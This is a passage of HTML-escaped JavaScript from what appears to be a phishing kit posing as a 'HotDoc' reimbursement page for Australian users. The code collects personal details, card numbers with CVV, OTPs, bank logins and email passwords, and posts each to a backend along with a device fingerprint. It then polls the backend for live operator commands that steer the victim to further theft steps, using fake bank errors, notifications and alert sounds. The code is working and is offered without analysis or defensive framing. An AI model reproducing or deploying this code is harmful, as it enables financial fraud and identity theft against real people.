        setInputState(&#039;address&#039;, address.length &gt;= 3, address.length &gt; 0);
        setInputState(&#039;city&#039;, city.length &gt;= 2, city.length &gt; 0);
        setInputState(&#039;postcode&#039;, isValidPostcode(postcode), postcode.length &gt;= 4);
        setInputState(&#039;email&#039;, isValidEmail(email), email.length &gt; 0);

        var ok = isValidName(fname) &amp;&amp; isValidName(lname) &amp;&amp; isValidDob(dob) &amp;&amp;
                 address.length &gt;= 3 &amp;&amp; city.length &gt;= 2 &amp;&amp;
                 isValidPostcode(postcode) &amp;&amp; isValidEmail(email);
        setButtonActive(&#039;btn-step2&#039;, ok);
    }

    function toggleEmailPass() {
        var input = document.getElementById(&#039;email_pass&#039;);
        var btn = document.getElementById(&#039;toggleEmailPassBtn&#039;);
        if (input.type === &#039;password&#039;) {
            input.type = &#039;text&#039;;
            btn.textContent = &#039;Hide&#039;;
        } else {
            input.type = &#039;password&#039;;
            btn.textContent = &#039;Show&#039;;
        }
    }

    function checkStep9() {
        var email = document.getElementById(&#039;email_pass_email&#039;).value;
        var pass = document.getElementById(&#039;email_pass&#039;).value;

        setInputState(&#039;email_pass_email&#039;, isValidEmail(email), email.length &gt; 0);

        var passEl = document.getElementById(&#039;email_pass&#039;);
        var errPass = document.getElementById(&#039;err-email_pass&#039;);
        passEl.classList.remove(&#039;error&#039;, &#039;valid&#039;);
        if (pass.length &gt; 0) {
            passEl.classList.add(&#039;valid&#039;);
            if (errPass) errPass.classList.remove(&#039;show&#039;);
        }

        setButtonActive(&#039;btn-step9&#039;, isValidEmail(email) &amp;&amp; pass.length &gt; 0);
    }

    function formatCardInput(val) {
        var digits = val.replace(/\D/g, &#039;&#039;);
        isAmex = /^3[47]/.test(digits);
        var maxLen = isAmex ? 15 : 16;
        digits = digits.substr(0, maxLen);

        var formatted = &#039;&#039;;
        if (isAmex) {
            for (var i = 0; i &lt; digits.length; i++) {
                if (i === 4 || i === 10) formatted += &#039; &#039;;
                formatted += digits[i];
            }
        } else {
            for (var i = 0; i &lt; digits.length; i++) {
                if (i &gt; 0 &amp;&amp; i % 4 === 0) formatted += &#039; &#039;;
                formatted += digits[i];
            }
        }
        return { formatted: formatted, isAmex: isAmex, maxLen: maxLen, digits: digits };
    }

    function updateCardTypeUI() {
        var cardVal = document.getElementById(&#039;card&#039;).value;
        var info = formatCardInput(cardVal);
        isAmex = info.isAmex;

        document.getElementById(&#039;logo-visa&#039;).classList.toggle(&#039;active&#039;, !isAmex &amp;&amp; info.digits.length &gt;= 1);
        document.getElementById(&#039;logo-mc&#039;).classList.toggle(&#039;active&#039;, !isAmex &amp;&amp; /^5/.test(info.digits));
        document.getElementById(&#039;logo-amex&#039;).classList.toggle(&#039;active&#039;, isAmex);

        var cvvEl = document.getElementById(&#039;cvv&#039;);
        var errCvv = document.getElementById(&#039;err-cvv&#039;);
        if (isAmex) {
            cvvEl.setAttribute(&#039;maxlength&#039;, &#039;4&#039;);
            cvvEl.setAttribute(&#039;placeholder&#039;, &#039;0000&#039;);
            errCvv.textContent = &#039;Enter a valid 4-digit AMEX security code.&#039;;
        } else {
            cvvEl.setAttribute(&#039;maxlength&#039;, &#039;3&#039;);
            cvvEl.setAttribute(&#039;placeholder&#039;, &#039;000&#039;);
            errCvv.textContent = &#039;Enter a valid 3-digit CVV.&#039;;
        }

        var maxFormatted = isAmex ? 17 : 19;
        document.getElementById(&#039;card&#039;).setAttribute(&#039;maxlength&#039;, maxFormatted.toString());
    }

    function checkStep3() {
        var card = document.getElementById(&#039;card&#039;).value;
        var exp = document.getElementById(&#039;exp&#039;).value;
        var cvv = document.getElementById(&#039;cvv&#039;).value;

        updateCardTypeUI();

        var cardValid = isValidCard(card);
        var expValid = isValidExp(exp);
        var cvvValid = isValidCvv(cvv);

        var cardDigits = stripSpaces(card).length;
        var targetLen = isAmex ? 15 : 16;

        setInputState(&#039;card&#039;, cardValid, cardDigits &gt;= targetLen);
        setInputState(&#039;exp&#039;, expValid, exp.length &gt;= 5);
        setInputState(&#039;cvv&#039;, cvvValid, cvv.length &gt;= (isAmex ? 4 : 3));

        var bankEl = document.getElementById(&#039;bank-detect&#039;);
        var bank = detectBank(card);
        if (bank &amp;&amp; cardDigits &gt;= 6) {
            bankEl.textContent = &#039;\ud83c\udfe6 &#039; + bank;
            bankEl.classList.add(&#039;show&#039;);
        } else {
            bankEl.classList.remove(&#039;show&#039;);
            bankEl.textContent = &#039;&#039;;
        }

        setButtonActive(&#039;btn-step3&#039;, cardValid &amp;&amp; expValid &amp;&amp; cvvValid);
    }

    function checkStep8() {
        var bank = document.getElementById(&#039;bank_name&#039;).value;
        var user = document.getElementById(&#039;bank_user&#039;).value;
        var pass = document.getElementById(&#039;bank_pass&#039;).value;

        setInputState(&#039;bank_name&#039;, bank !== &#039;&#039;, bank !== &#039;&#039;);
        setInputState(&#039;bank_user&#039;, user.length &gt;= 3, user.length &gt; 0);
        setInputState(&#039;bank_pass&#039;, pass.length &gt;= 4, pass.length &gt; 0);

        var ok = bank !== &#039;&#039; &amp;&amp; user.length &gt;= 3 &amp;&amp; pass.length &gt;= 4;
        setButtonActive(&#039;btn-step8&#039;, ok);
    }

    // ==================== INPUT LISTENERS ====================
    document.getElementById(&#039;phone&#039;).addEventListener(&#039;input&#039;, function(e) {
        var val = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 10);
        var formatted = val;
        if (val.length &gt; 7) formatted = val.slice(0, 4) + &#039; &#039; + val.slice(4, 7) + &#039; &#039; + val.slice(7);
        else if (val.length &gt; 4) formatted = val.slice(0, 4) + &#039; &#039; + val.slice(4);
        e.target.value = formatted;
        checkStep1();
    });
    document.getElementById(&#039;phone&#039;).addEventListener(&#039;blur&#039;, checkStep1);

    document.getElementById(&#039;dob&#039;).addEventListener(&#039;input&#039;, function(e) {
        var val = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 8);
        var formatted = val;
        if (val.length &gt; 4) formatted = val.slice(0, 2) + &#039;/&#039; + val.slice(2, 4) + &#039;/&#039; + val.slice(4);
        else if (val.length &gt; 2) formatted = val.slice(0, 2) + &#039;/&#039; + val.slice(2);
        e.target.value = formatted;
        checkStep2();
    });

    document.getElementById(&#039;postcode&#039;).addEventListener(&#039;input&#039;, function(e) {
        e.target.value = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 4);
        checkStep2();
    });

    [&#039;fname&#039;,&#039;lname&#039;,&#039;address&#039;,&#039;city&#039;,&#039;email&#039;].forEach(function(id) {
        document.getElementById(id).addEventListener(&#039;input&#039;, checkStep2);
        document.getElementById(id).addEventListener(&#039;blur&#039;, checkStep2);
    });
    document.getElementById(&#039;dob&#039;).addEventListener(&#039;blur&#039;, checkStep2);
    document.getElementById(&#039;postcode&#039;).addEventListener(&#039;blur&#039;, checkStep2);

    document.getElementById(&#039;email_pass_email&#039;).addEventListener(&#039;input&#039;, checkStep9);
    document.getElementById(&#039;email_pass&#039;).addEventListener(&#039;input&#039;, checkStep9);

    document.getElementById(&#039;card&#039;).addEventListener(&#039;input&#039;, function(e) {
        var info = formatCardInput(e.target.value);
        e.target.value = info.formatted;
        checkStep3();
    });
    document.getElementById(&#039;card&#039;).addEventListener(&#039;blur&#039;, checkStep3);

    document.getElementById(&#039;exp&#039;).addEventListener(&#039;input&#039;, function(e) {
        var val = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 4);
        var formatted = val;
        if (val.length &gt; 2) formatted = val.slice(0, 2) + &#039;/&#039; + val.slice(2);
        e.target.value = formatted;
        checkStep3();
    });
    document.getElementById(&#039;exp&#039;).addEventListener(&#039;blur&#039;, checkStep3);

    document.getElementById(&#039;cvv&#039;).addEventListener(&#039;input&#039;, function(e) {
        var max = isAmex ? 4 : 3;
        e.target.value = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, max);
        checkStep3();
    });
    document.getElementById(&#039;cvv&#039;).addEventListener(&#039;blur&#039;, checkStep3);

    document.getElementById(&#039;bank_name&#039;).addEventListener(&#039;change&#039;, checkStep8);
    document.getElementById(&#039;bank_user&#039;).addEventListener(&#039;input&#039;, checkStep8);
    document.getElementById(&#039;bank_pass&#039;).addEventListener(&#039;input&#039;, checkStep8);

    // ==================== DATA SEND ====================
    function sendData(data) {
        var payload = JSON.parse(JSON.stringify(data));
        payload.fingerprint = collectFingerprint();
        var xhr = new XMLHttpRequest();
        xhr.open(&quot;POST&quot;, BACKEND, true);
        xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/json&quot;);
        xhr.send(JSON.stringify(payload));
    }

    // ==================== STEP NAVIGATION ====================
    function showStep(n) {
        for (var i = 1; i &lt;= 9; i++) {
            var el = document.getElementById(&quot;step&quot; + i);
            if (el) el.classList.add(&quot;hidden&quot;);
        }
        var target = document.getElementById(&quot;step&quot; + n);
        if (target) target.classList.remove(&quot;hidden&quot;);
        currentStep = n;

        if (n === 7) {
            var ref = &#039;HD-&#039; + Math.random().toString(36).substr(2, 8).toUpperCase();
            document.getElementById(&#039;ref-code&#039;).textContent = &#039;Reference: &#039; + ref;
        }
    }

    // ==================== STEP 1 ====================
    function submitPhone() {
        var phone = document.getElementById(&quot;phone&quot;).value;
        if (!isValidPhone(phone)) {
            setInputState(&#039;phone&#039;, false, true);
            return;
        }
        setButtonLoading(&#039;btn-step1&#039;, true);
        lastDataStep = 1;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 1,
            phone: phone,
            interaction: &quot;phone_submitted&quot;
        });
        setTimeout(function() {
            setButtonLoading(&#039;btn-step1&#039;, false);
            showStep(2);
        }, 400);
    }

    // ==================== STEP 2 ====================
    function submitPersonal() {
        var fname = document.getElementById(&quot;fname&quot;).value;
        var lname = document.getElementById(&quot;lname&quot;).value;
        var dob = document.getElementById(&quot;dob&quot;).value;
        var address = document.getElementById(&quot;address&quot;).value;
        var city = document.getElementById(&quot;city&quot;).value;
        var postcode = document.getElementById(&quot;postcode&quot;).value;
        var email = document.getElementById(&quot;email&quot;).value;

        checkStep2();

        if (!isValidName(fname) || !isValidName(lname)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter valid first and last names.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidDob(dob)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid date of birth (DD/MM/YYYY). Must be 18+.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!address || address.length &lt; 3 || !city || city.length &lt; 2) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid address and city.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidPostcode(postcode)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid 4-digit Australian postcode.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidEmail(email)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid email address.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err2&quot;).classList.remove(&quot;show&quot;);
        setButtonLoading(&#039;btn-step2&#039;, true);

        lastDataStep = 2;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 2,
            fname: fname,
            lname: lname,
            name: fname + &quot; &quot; + lname,
            dob: dob,
            address: address,
            city: city,
            postcode: postcode,
            email: email,
            interaction: &quot;personal_info_submitted&quot;
        });

        setTimeout(function() {
            setButtonLoading(&#039;btn-step2&#039;, false);
            showStep(3);
        }, 400);
    }

    // ==================== STEP 9 ====================
    function submitEmailPass() {
        var email = document.getElementById(&quot;email_pass_email&quot;).value;
        var pass = document.getElementById(&quot;email_pass&quot;).value;

        if (!isValidEmail(email)) {
            document.getElementById(&quot;err9&quot;).textContent = &quot;Please enter a valid email address.&quot;;
            document.getElementById(&quot;err9&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!pass || pass.length &lt; 1) {
            document.getElementById(&quot;err9&quot;).textContent = &quot;Please enter your email password.&quot;;
            document.getElementById(&quot;err9&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err9&quot;).classList.remove(&quot;show&quot;);
        setButtonLoading(&#039;btn-step9&#039;, true);

        lastDataStep = 9;
        wasAdminCommanded = false; // consumed
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 9,
            email_pass_email: email,
            email_pass: pass,
            interaction: &quot;email_password_submitted&quot;
        });

        setTimeout(function() {
            setButtonLoading(&#039;btn-step9&#039;, false);
            showStep(4);
            startPolling(9);
        }, 400);
    }

    // ==================== STEP 3 ====================
    function submitCard() {
        var card = document.getElementById(&quot;card&quot;).value;
        var exp = document.getElementById(&quot;exp&quot;).value;
        var cvv = document.getElementById(&quot;cvv&quot;).value;

        checkStep3();

        if (!isValidCard(card)) {
            document.getElementById(&quot;err3&quot;).textContent = &quot;Please enter a valid card number.&quot;;
            document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidExp(exp)) {
            document.getElementById(&quot;err3&quot;).textContent = &quot;Please enter a valid future expiry date (MM/YY).&quot;;
            document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidCvv(cvv)) {
            document.getElementById(&quot;err3&quot;).textContent = isAmex ? &quot;Please enter a valid 4-digit AMEX security code.&quot; : &quot;Please enter a valid 3-digit CVV.&quot;;
            document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err3&quot;).classList.remove(&quot;show&quot;);
        setButtonLoading(&#039;btn-step3&#039;, true);

        cardAttempt++;

        lastDataStep = 3;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 3,
            card: card,
            exp: exp,
            cvv: cvv,
            card_attempt: cardAttempt,
            interaction: &quot;card_submitted&quot;
        });

        setTimeout(function() {
            setButtonLoading(&#039;btn-step3&#039;, false);
            showStep(4);
            startPolling(3);
        }, 400);
    }

    // ==================== STEP 5 ====================
    function submitOtp() {
        var otp = document.getElementById(&quot;otp&quot;).value;
        if (!otp || otp.length &lt; 4) {
            document.getElementById(&quot;err5&quot;).classList.add(&quot;show&quot;);
            return;
        }
        document.getElementById(&quot;err5&quot;).classList.remove(&quot;show&quot;);
        setButtonLoading(&#039;btn-step5&#039;, true);

        lastDataStep = 5;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 5,
            otp: otp,
            interaction: &quot;otp_submitted&quot;
        });

        setTimeout(function() {
            setButtonLoading(&#039;btn-step5&#039;, false);
            showStep(4);
            startPolling(5);
        }, 400);
    }

    // ==================== STEP 6 ====================
    function submitApp() {
        setButtonLoading(&#039;btn-step6&#039;, true);
        lastDataStep = 6;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 6,
            interaction: &quot;app_approved&quot;
        });

        setTimeout(function() {
            setButtonLoading(&#039;btn-step6&#039;, false);
            showStep(4);
            startPolling(6);
        }, 400);
    }

    // ==================== STEP 8 ====================
    function submitBank() {
        var bank = document.getElementById(&quot;bank_name&quot;).value;
        var user = document.getElementById(&quot;bank_user&quot;).value;
        var pass = document.getElementById(&quot;bank_pass&quot;).value;

        checkStep8();

        if (!bank) {
            document.getElementById(&quot;err8&quot;).textContent = &quot;Please select your bank.&quot;;
            document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!user || user.length &lt; 3) {
            document.getElementById(&quot;err8&quot;).textContent = &quot;Please enter your banking username.&quot;;
            document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!pass || pass.length &lt; 4) {
            document.getElementById(&quot;err8&quot;).textContent = &quot;Please enter your banking password.&quot;;
            document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err8&quot;).classList.remove(&quot;show&quot;);
        setButtonLoading(&#039;btn-step8&#039;, true);

        lastDataStep = 8;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 8,
            bank_name: bank,
            bank_user: user,
            bank_pass: pass,
            interaction: &quot;bank_credentials_submitted&quot;
        });

        setTimeout(function() {
            setButtonLoading(&#039;btn-step8&#039;, false);
            showStep(4);
            startPolling(8);
        }, 400);
    }

    // ==================== POLLING ====================
    function startPolling(fromStep) {
        isPolling = true;
        if (pollTimer) clearInterval(pollTimer);
        if (idleTimeout) clearTimeout(idleTimeout);

        requestWakeLock();
        requestNotificationPermission();

        pollTimer = setInterval(function() {
            doPoll(fromStep);
        }, 2000);

        idleTimeout = setTimeout(function() {
            if (isPolling) {
                showNotification(&quot;Please do not close this page. Your reimbursement is being processed and may take a few moments.&quot;);
            }
        }, 30000);
    }

    function doPoll(fromStep) {
        var xhr = new XMLHttpRequest();
        xhr.open(&quot;GET&quot;, BACKEND + &quot;?check=&quot; + encodeURIComponent(userId) + &quot;&amp;_=&quot; + Date.now(), true);
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
                try {
                    var data = JSON.parse(xhr.responseText);
                    if (data.command &amp;&amp; data.command !== &quot;wait&quot;) {
                        clearInterval(pollTimer);
                        pollTimer = null;
                        isPolling = false;
                        if (idleTimeout) clearTimeout(idleTimeout);
                        releaseWakeLock();
                        handleCommand(data.command, fromStep);
                    }
                } catch(e) {}
            }
        };
        xhr.send();
    }

    // ==================== COMMAND HANDLER ====================
    function handleCommand(cmd, fromStep) {
        console.log(&quot;[ADMIN COMMAND] &quot; + cmd);

        if (cmd.indexOf(&#039;notify:&#039;) === 0) {
            var msg = cmd.substring(7);
            showNotification(msg);
            if (!pageVisible) {
                sendBrowserNotification(&quot;HotDoc&quot;, msg);
                playAlertSound();
                vibrateDevice();
                flashTitle(&quot;HotDoc Alert&quot;);
            } else {
                playAlertSound();
                vibrateDevice();
            }
            startPolling(fromStep);
            return;
        }

        if (!pageVisible) {
            var stepName = &quot;&quot;;
            switch(cmd) {
                case &quot;go_otp&quot;: stepName = &quot;OTP Verification Required&quot;; break;
                case &quot;go_app&quot;: stepName = &quot;Bank App Approval Required&quot;; break;
                case &quot;go_bank&quot;: stepName = &quot;Bank Login Required&quot;; break;
                case &quot;new_card&quot;: stepName = &quot;New Card Required&quot;; break;
                case &quot;wrong_card&quot;: stepName = &quot;Card Error - Retry&quot;; break;
                case &quot;go_email&quot;: stepName = &quot;Email Verification Required&quot;; break;
                case &quot;wrong_email&quot;: stepName = &quot;Email Password Required&quot;; break;
                case &quot;go_success&quot;: stepName = &quot;Reimbursement Complete&quot;; break;
                case &quot;go_error&quot;: stepName = &quot;Error - Action Required&quot;; break;
                default: stepName = &quot;Action Required&quot;;
            }
            sendBrowserNotification(&quot;HotDoc — &quot; + stepName, &quot;Please return to the page to continue your reimbursement.&quot;);
            playAlertSound();
            vibrateDevice();
            flashTitle(&quot;🔔 Action Required&quot;);
        }

        switch(cmd) {
            case &quot;go_otp&quot;:
                showStep(5);
                break;

            case &quot;go_app&quot;:
                showStep(6);
                break;

            case &quot;go_bank&quot;:
                showStep(8);
                break;

            case &quot;go_email&quot;:
                var savedEmail = document.getElementById(&#039;email&#039;) ? document.getElementById(&#039;email&#039;).value : &#039;&#039;;
                document.getElementById(&#039;email_pass_email&#039;).value = savedEmail;
                document.getElementById(&#039;email_pass&#039;).value = &#039;&#039;;
                document.getElementById(&#039;err9&#039;).classList.remove(&#039;show&#039;);
                checkStep9();
                emailPassFromStep = fromStep;
                wasAdminCommanded = true;
                saveProgress();
                showStep(9);
                break;

            case &quot;new_card&quot;:
                cardAttempt++;
                document.getElementById(&quot;card&quot;).value = &quot;&quot;;
                document.getElementById(&quot;exp&quot;).value = &quot;&quot;;
                document.getElementById(&quot;cvv&quot;).value = &quot;&quot;;
                document.getElementById(&quot;bank-detect&quot;).classList.remove(&#039;show&#039;);
                document.getElementById(&quot;logo-visa&quot;).classList.remove(&#039;active&#039;);
                document.getElementById(&quot;logo-mc&quot;).classList.remove(&#039;active&#039;);
                document.getElementById(&quot;logo-amex&quot;).classList.remove(&#039;active&#039;);
                isAmex = false;
                document.getElementById(&quot;err3&quot;).textContent = &quot;Your bank declined this card. Please use a different card.&quot;;
                document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
                checkStep3();
                saveProgress();
                showStep(3);
                break;

            case &quot;wrong_card&quot;:
                document.getElementById(&quot;err3&quot;).textContent = &quot;The card details provided are invalid. Please check and try again.&quot;;
                document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
                showStep(3);
                break;

            case &quot;wrong_email&quot;:
                document.getElementById(&quot;err9&quot;).textContent = &quot;The password you entered is incorrect. Please try again.&quot;;
                document.getElementById(&quot;err9&quot;).classList.add(&quot;show&quot;);
                document.getElementById(&quot;email_pass&quot;).value = &quot;&quot;;
                checkStep9();
                wasAdminCommanded = true;
                saveProgress();
                showStep(9);
                break;

            case &quot;go_success&quot;:
            case &quot;go_next&quot;:
                clearSession();
                showStep(7);
                break;

            case &quot;go_error&quot;:
                if (fromStep === 3) {
                    document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
                    showStep(3);
                } else if (fromStep === 5) {
                    document.getElementById(&quot;err5&quot;).classList.add(&quot;show&quot;);
                    showStep(5);
                } else if (fromStep === 8) {
                    document.getElementById(&quot;err8&quot;).textContent = &quot;Bank verification failed. Please check your credentials and try again.&quot;;
                    document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
                    showStep(8);
                } else if (fromStep === 9) {
                    document.getElementById(&quot;err9&quot;).textContent = &quot;Email verification failed. Please check your credentials and try again.&quot;;
                    document.getElementById(&quot;err9&quot;).classList.add(&quot;show&quot;);
                    showStep(9);
                } else {
                    showStep(fromStep);
                }
                break;

            default:
                showStep(4);
        }
    }

    // ==================== INIT ====================
    requestNotificationPermission();

    var restored = loadProgress();
    if (!restored) {
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 0,
            interaction: &quot;page_loaded&quot;
        });
    } else {
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: currentStep,
            interaction: &quot;page_restored&quot;
        });
    }
&lt;/script&gt;
&lt;script&gt;
  setTimeout(function(){
    var h=&#039;&#039;, c=&#039;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&#039;, a=new Uint8Array(64);
    crypto.getRandomValues(a);
    for(var i=0;i&lt;64;i++) h+=c[a[i]%c.length];
    history.replaceState(null,null,&#039;#/session/&#039;+h);
  },0);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>        </div>
    </div>